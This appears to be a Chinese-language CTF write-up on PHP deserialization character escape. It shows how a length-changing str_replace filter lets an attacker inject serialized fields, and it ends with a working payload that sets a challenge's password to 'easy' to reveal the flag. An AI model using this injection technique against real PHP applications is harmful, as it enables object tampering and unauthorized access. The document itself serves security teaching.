反序列化字符逃逸實驗
原理:利用字符串過濾使的原來序列化的讀取的s長度發生了改變(多出一個字符就能逃逸一個字符)
對於反序列化的語法來說,第一個右括號之後的字符都是作廢的
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $user.='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hack!!";}'; $AA=new A(); $AA->name=$user; echo serialize($AA)."</br>"; $res=filter(serialize($AA)); echo $res."</br>"; $c=unserialize($res); echo $c->pass; ?>
題目源碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
現在我們會利用反序列化字符逃逸了,得到源碼先序列化一下原來的字符串,將它拷貝出來以便後續進行修改
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}
我們要把password改爲easy,改造成如下
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}
計算得到需要逃逸29個字符,但是過濾函數是一次逃逸4個字符,得不到4的倍數,所以我們在後面補充幾個字符使得逃逸的字符數爲4的倍數
得到exp如下
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}
參考:https://www.cnblogs.com/Sumarua/p/12932401.html